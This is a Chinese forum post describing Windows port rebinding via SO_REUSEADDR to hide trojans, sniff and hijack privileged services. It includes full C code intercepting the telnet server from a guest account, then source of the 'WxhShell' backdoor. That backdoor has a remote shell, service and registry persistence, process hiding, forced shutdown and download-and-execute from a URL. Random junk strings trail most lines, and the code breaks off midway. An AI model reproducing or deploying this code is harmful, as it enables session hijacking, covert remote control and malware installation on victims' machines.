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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~]'yUd1gSZ  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *D1vla8  
:-(qqC:  
  saddr.sin_family = AF_INET; %c8@  
+jKu^f6  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); PSyUC#;  
rfr]bq5  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 9w=[}<E  
k]2_vk^  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 MN:LL <  
E Q:6R|L  
  这意味着什么?意味着可以进行如下的攻击: |=V~CQ]  
y'non0P.  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 bU/YU0ZIT  
;krIuk-  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) h R6Pj"@0  
Ry?f; s  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 "z_},TCy  
rFp>A`TJ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。   P.mlk>r  
. lNf.x#u  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 \l`{u)V  
|t~>Xs  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 @Qp#Tg<'  
`}rk1rl6  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Py?Q::  
e0<O6  
  #include rd)W+W9  
  #include -zI9E!24  
  #include D'BGoVP  
  #include    Iv*u#]{t  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ,zxv>8Nt  
  int main() sk AF6n  
  { M Ih\z7gW  
  WORD wVersionRequested; w6pXF5ur>  
  DWORD ret; Y%>u.HzL  
  WSADATA wsaData; <;Tr   
  BOOL val; !0F+qzGG7  
  SOCKADDR_IN saddr; -=ZDfM  
  SOCKADDR_IN scaddr; IFhS(3 YK[  
  int err; ;WgUhA ;q  
  SOCKET s; OB*V4Yv  
  SOCKET sc; HV*;Yt  
  int caddsize; xn,9Wj-  
  HANDLE mt; ExeZj8U  
  DWORD tid;   xErb11  
  wVersionRequested = MAKEWORD( 2, 2 ); (L(n%  
  err = WSAStartup( wVersionRequested, &wsaData ); +(^H L3  
  if ( err != 0 ) { l,zhBnD  
  printf("error!WSAStartup failed!\n"); qB&Je$_uh  
  return -1; sV\K[4HG  
  } C7DwA/$D  
  saddr.sin_family = AF_INET; [AA}P/iW  
   W+5. lf=2>  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ml /S|`Drk  
DJAKF  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); w4M;e;8m[U  
  saddr.sin_port = htons(23); $48 Z>ij?f  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) o?6m/Klw6  
  { <Y2$'ETD  
  printf("error!socket failed!\n"); \O\q1 s~  
  return -1; -Tn%O|#K  
  } Rd|8=`)  
  val = TRUE; EdkIT|c{  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 z,4 D'F&  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) oR/_{#Mz"  
  { \ Ce*5h  
  printf("error!setsockopt failed!\n"); )a x>*  
  return -1; o{^`Y   
  } +.OdrvN4)  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 1ANb=X|hig  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 k%Vprc  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 N/--6)5~0  
,>8w|951'  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) L"n)fe$  
  {  K[LuvS  
  ret=GetLastError(); z?( b|v  
  printf("error!bind failed!\n"); fc9@l a  
  return -1; .{} 8mFi1  
  } !a-B=pn!]  
  listen(s,2); \4^rb?B  
  while(1) |"I)1[7  
  { y@<2`h  
  caddsize = sizeof(scaddr); -a&<Un/  
  //接受连接请求 u6 Lx3  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); =:]v~Ehq  
  if(sc!=INVALID_SOCKET) .T3 m%n  
  { a @d 15CN  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3?@6QcHl{  
  if(mt==NULL)  o?m/  
  { x!\q69ndv  
  printf("Thread Creat Failed!\n"); nosD1sS.K8  
  break; :GO"bsjL  
  } 6a9$VGInU  
  } l{>j8Ln  
  CloseHandle(mt); F= %A9b_a  
  } q!?*M?Oz  
  closesocket(s); a6^_iSk  
  WSACleanup(); 2vX $:4  
  return 0; 8W?dWj  
  }   7t:tS7{}  
  DWORD WINAPI ClientThread(LPVOID lpParam) stBe ^C  
  { Z0m`%(MJa  
  SOCKET ss = (SOCKET)lpParam; sA77*T  
  SOCKET sc; j7k}!j_O{  
  unsigned char buf[4096]; +a 1iZ bh  
  SOCKADDR_IN saddr; UL{J%Ze=~  
  long num; \r[u>7I  
  DWORD val; .\glNH1d  
  DWORD ret; G0Qw& mqF  
  //如果是隐藏端口应用的话,可以在此处加一些判断 P <+0sh  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   F!wz{i6\h  
  saddr.sin_family = AF_INET; 9S*"={}%  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); *{!Y_FrL  
  saddr.sin_port = htons(23); %kjG[C  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) p2{7+m  
  { X["xC3 i  
  printf("error!socket failed!\n"); tmooS7\a  
  return -1; '.(Gg%*\.  
  } m(6d3P  
  val = 100; f,KB BBbG  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) y~@zfJ5/^  
  { N+rU|iMa.  
  ret = GetLastError(); ^hmV?a:Y  
  return -1; D5D *$IC  
  } P*O G`%y  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2 HEU  
  { jk03 Hd  
  ret = GetLastError(); d*0 RBgn  
  return -1; h @!p:]  
  } .qO4ceW2-~  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2Jd(@DcJ2C  
  { %+N]$Q  
  printf("error!socket connect failed!\n"); Cp6S2v I  
  closesocket(sc); 3k`Q]O=OU  
  closesocket(ss); 'z(Y9%+a  
  return -1; yu6{6 [  
  } , ~O>8VbF  
  while(1) H@=oVyn/  
  { 8(L$a1#5W  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 iZ-R%-}B  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 L7-BuW}&  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 P0,]`w  
  num = recv(ss,buf,4096,0); I)Xf4F S@  
  if(num>0)  Sfz1p  
  send(sc,buf,num,0); o utJ/~9;  
  else if(num==0) olE(#}7V  
  break; r ;RYGLx  
  num = recv(sc,buf,4096,0); -3{Q`@F  
  if(num>0)  GfE>?mG  
  send(ss,buf,num,0); b&:v6#i  
  else if(num==0) _x,X0ncv]@  
  break; r exv)!J  
  } d_yvG.#C  
  closesocket(ss); aDF@A S  
  closesocket(sc); P}v ;d]  
  return 0 ; u 2 s  
  } ,t9EL 21  
@N4_){s*  
ws'e  
========================================================== .Vbd-jr'M  
n1."Qix0  
下边附上一个代码,,WXhSHELL u7L?9  
dLiiJ6pl*  
========================================================== tYu<(Z(l)  
'x*C#mt  
#include "stdafx.h" bY" zK',m  
$oBs%.Jp  
#include <stdio.h> >Ku4Il+36  
#include <string.h> :?6HG_9X  
#include <windows.h> ~)U50. CH  
#include <winsock2.h> &Hb%Q! ^Kb  
#include <winsvc.h> "lh4Vg\7n  
#include <urlmon.h>  J=` 8  
tO M$'0u  
#pragma comment (lib, "Ws2_32.lib") jIubJQR~  
#pragma comment (lib, "urlmon.lib") }?s-$@$R  
23gN;eD+m6  
#define MAX_USER   100 // 最大客户端连接数 FEjO}lTK  
#define BUF_SOCK   200 // sock buffer *7xcwj eP  
#define KEY_BUFF   255 // 输入 buffer oy^-?+   
$hhXsu=  
#define REBOOT     0   // 重启 0cS$S Mn{  
#define SHUTDOWN   1   // 关机 sgfqIe1  
%R0 Wq4}  
#define DEF_PORT   5000 // 监听端口 GW,EyOE+~  
NUV">i.(  
#define REG_LEN     16   // 注册表键长度 n n7LL+h  
#define SVC_LEN     80   // NT服务名长度 Q,KNZxT,q  
6!\V|  
// 从dll定义API ywwA,9~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |Ea%nghl  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Bl b#h  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \l GD8@,x  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); sFpg  
*9\j1Nd  
// wxhshell配置信息 ${Un#]g  
struct WSCFG { xt^1,V4Ei~  
  int ws_port;         // 监听端口 }Va((X w  
  char ws_passstr[REG_LEN]; // 口令 /wJ#-DZ  
  int ws_autoins;       // 安装标记, 1=yes 0=no & =[!L0{  
  char ws_regname[REG_LEN]; // 注册表键名 @z1QoZ^w  
  char ws_svcname[REG_LEN]; // 服务名 \zBi-GI7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ZNBowZI  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ` UsJaoR#f  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?Lg<)B9   
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2;v:Z^&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :uCwWv   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 EO!,rB7I  
t2d sYU/  
}; sX1DbEjj[o  
9JA@m  
// default Wxhshell configuration w"' Pn`T  
struct WSCFG wscfg={DEF_PORT, |T<aWZb^=  
    "xuhuanlingzhe", :h(HKMSk1  
    1, ?X|)0o  
    "Wxhshell", [MIgQ.n  
    "Wxhshell", cY5&1Shb~  
            "WxhShell Service", 05wkUo:9  
    "Wrsky Windows CmdShell Service", <XLae'R  
    "Please Input Your Password: ", $g>bp<9v4  
  1, syX?O'xJ  
  "http://www.wrsky.com/wxhshell.exe", DTezG':  
  "Wxhshell.exe" &|Gg46P7  
    }; o/{`\4  
' [$KG  
// 消息定义模块 ,JwX*L<:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?|5M'o|9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &#PPXwmR  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2.^{4 1:  
char *msg_ws_ext="\n\rExit."; r&LZH.$oh  
char *msg_ws_end="\n\rQuit."; v'hc-Q9+>  
char *msg_ws_boot="\n\rReboot..."; 0D,@^vw bK  
char *msg_ws_poff="\n\rShutdown..."; v`|]57?A  
char *msg_ws_down="\n\rSave to "; h@ lz  
cEL:5*cAU}  
char *msg_ws_err="\n\rErr!"; ?}?"m:=  
char *msg_ws_ok="\n\rOK!"; [icD*N<Gc  
x#0?$}f<  
char ExeFile[MAX_PATH]; '4'Z  
int nUser = 0; 0|AgmW_7 .  
HANDLE handles[MAX_USER]; yJ?=##  
int OsIsNt; PysDDU}v  
yQhO-jT  
SERVICE_STATUS       serviceStatus; $ar^U  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; m,HE4`g  
ai<qK3!O  
// 函数声明 HYdM1s6vo  
int Install(void); sQgz}0_= )  
int Uninstall(void); zH1 ;h  
int DownloadFile(char *sURL, SOCKET wsh); kK75(x  
int Boot(int flag); }d. X2?  
void HideProc(void); YoKE=ln7  
int GetOsVer(void); #L.,aTA<  
int Wxhshell(SOCKET wsl); sa.H,<;  
void TalkWithClient(void *cs); VP1hocW  
int CmdShell(SOCKET sock); F6U#EvL  
int StartFromService(void);  ] 2 `%i5  
int StartWxhshell(LPSTR lpCmdLine); 'Ix@<$~i3F  
#zsaQg, B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); EDnNS  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); z6`0Uv~  
-E}X`?WhD  
// 数据结构和表定义 V?EX`2S  
SERVICE_TABLE_ENTRY DispatchTable[] = ;^N lq3N  
{ #da{3>z:  
{wscfg.ws_svcname, NTServiceMain}, 9 dNB _  
{NULL, NULL} ,b5'<3\  
}; t'2A)S  
BH'*I yv  
// 自我安装 ~v8X>XDL?T  
int Install(void)  xL15uWk-  
{ *O[/KR%  
  char svExeFile[MAX_PATH]; B?B OAH  
  HKEY key; ,7wYa&  
  strcpy(svExeFile,ExeFile); p$,G`'l  
znrO~OK  
// 如果是win9x系统,修改注册表设为自启动 {F<0e^*  
if(!OsIsNt) { 2Hd\>{*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qt L]x -O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y[b 8rv  
  RegCloseKey(key); Q"I(3 tp9[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  bUcp8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `}ak]Z_  
  RegCloseKey(key); ^iONC&r  
  return 0; ]$2 yV&V&  
    } &5y  
  } ^}P94(oz  
} (7qlp*8.s  
else { nXn@|J&z~U  
3(oMASf  
// 如果是NT以上系统,安装为系统服务 qWH^/o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i(% 2t(wf+  
if (schSCManager!=0) 1 *' /B  
{ g|Lbe4?  
  SC_HANDLE schService = CreateService W.^zN'a  
  ( #ZJ 1\Ov  
  schSCManager, :6Z2@9.}w  
  wscfg.ws_svcname, +6uf6&.@~  
  wscfg.ws_svcdisp, )h@PRDI_  
  SERVICE_ALL_ACCESS, /xUF@%rT  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Q\4tzb]  
  SERVICE_AUTO_START, E3 % ~!ZC  
  SERVICE_ERROR_NORMAL, brmS J7  
  svExeFile, \a+Q5g  
  NULL, 8-@@QZ\N  
  NULL, YC1Bgz  
  NULL, \Vme\Ke*v)  
  NULL, +q pW"0[  
  NULL ymm]+v5S.]  
  ); dU9;sx  
  if (schService!=0) _&]7  
  { 6 rnFXZ\  
  CloseServiceHandle(schService); Md4Q.8  
  CloseServiceHandle(schSCManager); ?EC\ .{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;~0q23{+;U  
  strcat(svExeFile,wscfg.ws_svcname); (9`dLw5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { deAV:c  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }W^@mi  
  RegCloseKey(key); C`r:jA<LC,  
  return 0; kSV(T'#x  
    }  _".h(  
  } {ENd]@N*  
  CloseServiceHandle(schSCManager); :#g.%&  
} fNLO%\G~2  
} (nQm9 M(  
poAJl;T  
return 1; (d#&m+ g]  
} ry|a_3X(I  
XMS:F]HN  
// 自我卸载 no8\Oees  
int Uninstall(void) "_&ZRcd*  
{ Y$>NsgQn6  
  HKEY key; <-.@,HQ+  
sl-wNIQ  
if(!OsIsNt) { ]r#b:W\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D9TjjA|zS  
  RegDeleteValue(key,wscfg.ws_regname); Ja~8ZrcY  
  RegCloseKey(key); ; =n}61  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ho$}#o  
  RegDeleteValue(key,wscfg.ws_regname); #M~yt`R~  
  RegCloseKey(key); +\ftSm>  
  return 0; s=:)!M.i  
  } 6hj[/O)E  
} [s$x"Ex  
} ?;oJ=.T  
else { `xx.,;S  
pnuo;rs  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~qZ6I)?  
if (schSCManager!=0) $e+4Kt ,  
{ u D(C jHM>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .nZKy't   
  if (schService!=0) 0UJ6> Rj  
  { kxKb}> =  
  if(DeleteService(schService)!=0) { 2FZ T  
  CloseServiceHandle(schService); S!PG7hK2  
  CloseServiceHandle(schSCManager); v@]SddP,?  
  return 0; Z-lhJ<0/Pa  
  } r^6@Zwox]  
  CloseServiceHandle(schService); ?#GTD?3d  
  }  Y:/p0 o  
  CloseServiceHandle(schSCManager); j*>Df2z  
} ]*P9=!x|M  
} gHc1_G]  
;:Z5Ft m  
return 1; iT:i '\~  
} ]2l}[ w71|  
l7uTk5  
// 从指定url下载文件 +EjXoW7V  
int DownloadFile(char *sURL, SOCKET wsh) C)c*s C5N  
{ L~f~XgQ  
  HRESULT hr; Dl.UbH }=  
char seps[]= "/"; a& 0g0n6  
char *token; bM"?^\a&Q  
char *file; /:]<z6R  
char myURL[MAX_PATH]; c/ImK`:)4a  
char myFILE[MAX_PATH]; cz,CL/rno  
mxZ+r#|di  
strcpy(myURL,sURL); {96MfhkeBv  
  token=strtok(myURL,seps); :[+8(~| za  
  while(token!=NULL) 8H-yT1  
  { c $r"q :\  
    file=token; E[#VWM I  
  token=strtok(NULL,seps); %0 {_b68x  
  } x*:VE57,z  
EUs9BJFP  
GetCurrentDirectory(MAX_PATH,myFILE); :l"B NT[/  
strcat(myFILE, "\\"); fZpi+I  
strcat(myFILE, file); J:"@S%gy%  
  send(wsh,myFILE,strlen(myFILE),0); LU;zpXg\  
send(wsh,"...",3,0); @]IRB1X  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); cY5;~lO  
  if(hr==S_OK) OvQzMXU^I  
return 0; xTu J~$(  
else m-$}'mEO  
return 1; ,+ IFV  
S'^ q  
} ;o'r@4^&$R  
CyLwCS{V\  
// 系统电源模块 d+G%\qpzQ  
int Boot(int flag) QY4;qA  
{ &k,DAx`rN;  
  HANDLE hToken; ECi;o1hda  
  TOKEN_PRIVILEGES tkp; 7w2$?k',-  
V-7l+C5  
  if(OsIsNt) { uvJHkAi  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;^bfLSWm{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [ KgO:},c  
    tkp.PrivilegeCount = 1; Wcc4/:`Hu  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9#7W+9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); yYGs] +  
if(flag==REBOOT) { $ c-O+~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) vu@.;-2E%  
  return 0; O$r/ {{I.  
} p~3 x=X4  
else { 9tv,,I;iU  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L,.~VNy-  
  return 0; @*<0:Q|m  
} >U`G3(#7S  
  } _p4]\LA  
  else { vE^tdzAG  
if(flag==REBOOT) { wdP(MkaV  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6d/Q"As  
  return 0; O<Q8%Az  
} OFtf)cGE  
else { XxMZU(5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) UJh;Hp:  
  return 0; +'c+X^_  
} 4 j=K3m  
} 9h6Oq(0b8  
bKmwXDv'  
return 1; 5\z<xpJ  
} ;<Z6Y3>I8  
In_"iEo,  
// win9x进程隐藏模块 "g5{NjimY  
void HideProc(void) {*B0lr`  
{ 1Zn8CmE V  
I4jRz*Ufe?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); u*Xp%vNe  
  if ( hKernel != NULL ) }ww/e\|Nt=  
  { jG7PT66>;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *'{-!Y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e1-tpD:J  
    FreeLibrary(hKernel); <$e|'}>A  
  } YS^!'IyG/B  
)pHlWi|h  
return; ?Q-Tyf$3  
} :CE4< {V  
-&Xv,:'?  
// 获取操作系统版本 Qh&Qsyo%  
int GetOsVer(void) 4{kH;~ z$  
{ %a~/q0o>  
  OSVERSIONINFO winfo; 1`7zYW&L  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4l  ZK@3  
  GetVersionEx(&winfo); =|P &G~]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) XJe=+_K9  
  return 1; qMJJBl  
  else =p'+kS+  
  return 0; 7m-%  
} `RnWh9  
:Mu*E5  
// 客户端句柄模块 nf /*n  
int Wxhshell(SOCKET wsl) d{4;qM#  
{ EpAgKzVpJ  
  SOCKET wsh;  JaY"Wfc  
  struct sockaddr_in client; jCJcVO>OZ  
  DWORD myID; 7_i8'(``  
]j*2PSJG  
  while(nUser<MAX_USER) B}d&tH2^s  
{ d5m -f/  
  int nSize=sizeof(client); :ZrJL&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >lRZvf-i  
  if(wsh==INVALID_SOCKET) return 1; !B3TLe h  
R(~wSL*R>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); H\S)a FY[  
if(handles[nUser]==0) .ImaM  
  closesocket(wsh); cFL~< [>_  
else ZkbE&7Z  
  nUser++; 8v;^jo>ug  
  } B`}um;T#~,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); P'Rw/c o  
NGc~%0n  
  return 0; Z[. M>|  
} o&q>[c  
E]`7_dG+T  
// 关闭 socket }sXTZX  
void CloseIt(SOCKET wsh) y>a?<*Y+e  
{ y'_8b=*  
closesocket(wsh); Ym6d'd<9(  
nUser--; lxhb)]c ^>  
ExitThread(0); [%.v;+L  
} 3gi)QCsk  
E^i]eK*"  
// 客户端请求句柄 &$ h~Q  
void TalkWithClient(void *cs) KG'i#(u[  
{ ]Btkoad  
*HKw;I   
  SOCKET wsh=(SOCKET)cs; >aVgI<  
  char pwd[SVC_LEN]; )Z/"P\qo  
  char cmd[KEY_BUFF]; OldOc5D  
char chr[1]; "313eeIt%i  
int i,j; GI%&.Vd  
zU?O)w1'  
  while (nUser < MAX_USER) { WUYI1Ij;  
!a@)6or  
if(wscfg.ws_passstr) { [C "\]LiX  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3$\k=q3`#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L80(9Y^xn  
  //ZeroMemory(pwd,KEY_BUFF); ~Bzzu % S  
      i=0; bKo %Ak,  
  while(i<SVC_LEN) { L!fTYX#K]  
ote,`h  
  // 设置超时 q\Y4vWg  
  fd_set FdRead; C%XO|sP  
  struct timeval TimeOut; /v R>.'  
  FD_ZERO(&FdRead); ZL!u$)(V  
  FD_SET(wsh,&FdRead); M5^Y W#e  
  TimeOut.tv_sec=8; 1-_r\sb  
  TimeOut.tv_usec=0; \fA{sehdL  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3 t,_{9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ix3LB!k<  
^po@U"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gF)9a_R%p  
  pwd=chr[0]; "%-Vrb=:Y  
  if(chr[0]==0xd || chr[0]==0xa) { -R`{]7V  
  pwd=0; YFO{i-*q  
  break; YT\@fgBt  
  } g$nS6w|5H  
  i++; 5'lPXKn+L  
    } #4^d#Gj  
P\jGyS j  
  // 如果是非法用户,关闭 socket JVE\{ e)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); & LE5' .s  
} &R94xh%@(  
7>E.0DP  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K;?D^n.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P-@MLIC{  
.Bm%  
while(1) { [xMa^A>p  
g*Y, .  
  ZeroMemory(cmd,KEY_BUFF); y?$DDD  
'0+*  
      // 自动支持客户端 telnet标准    7GgZ: $d  
  j=0; N^Re  
  while(j<KEY_BUFF) { `AJ[g>py^|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z>rY9VvWD  
  cmd[j]=chr[0]; O `}EiyV  
  if(chr[0]==0xa || chr[0]==0xd) { O*EV~ {K  
  cmd[j]=0; /A=w`[<  
  break; *%j$i_  
  } Y=Vbs x  
  j++; ,erw(7}'.  
    } _P;D.>?  
(f#(B2j  
  // 下载文件 GtA`0B  
  if(strstr(cmd,"http://")) { %q{q.(M#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); AU{"G  
  if(DownloadFile(cmd,wsh)) f-b],YE  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {Cx5m   
  else FfoOJzf~o  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5(1:^:LGK  
  } r* *zjv>  
  else { (Fv tL*  
Swi# ^i  
    switch(cmd[0]) { UtZ,q!sg  
  V$^jlWdR  
  // 帮助 bzg C+yT  
  case '?': { zw0w."V  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {z#2gc'Q  
    break; ZCiCZ)oc  
  } \@LTXH.  
  // 安装 mgs(n5V5  
  case 'i': { qQ&uU7,#  
    if(Install()) VtreOJ+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B /? L$m  
    else ?6#won  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :6^7l/p  
    break; QLA.;`HIE  
    } NFK`,  
  // 卸载 /7Q|D sa  
  case 'r': { j0jl$^  
    if(Uninstall())  C0rf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ; * [:~5Wc  
    else 4w4B\Na>l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *{o7G  a  
    break;  >@ t  
    } RaZ>.5 D  
  // 显示 wxhshell 所在路径 e|~MJu+1  
  case 'p': { YIU3}sJ!  
    char svExeFile[MAX_PATH]; W :w~ M'o  
    strcpy(svExeFile,"\n\r"); " \$^j#o  
      strcat(svExeFile,ExeFile); B5e9'X^ [  
        send(wsh,svExeFile,strlen(svExeFile),0); v* ;d  
    break; Ia&R/I  
    } a QH6akH  
  // 重启 [3%mNNk  
  case 'b': { xo:kT)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }\pI`;*O|  
    if(Boot(REBOOT)) +SJ.BmT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [U\?+@E*  
    else { 5xY{Q  
    closesocket(wsh); K %^n.  
    ExitThread(0); nK&]8"  
    } 7>JYwU{  
    break; / )0hsQs  
    } 4<s.|W`  
  // 关机 g(7 -3q8eq  
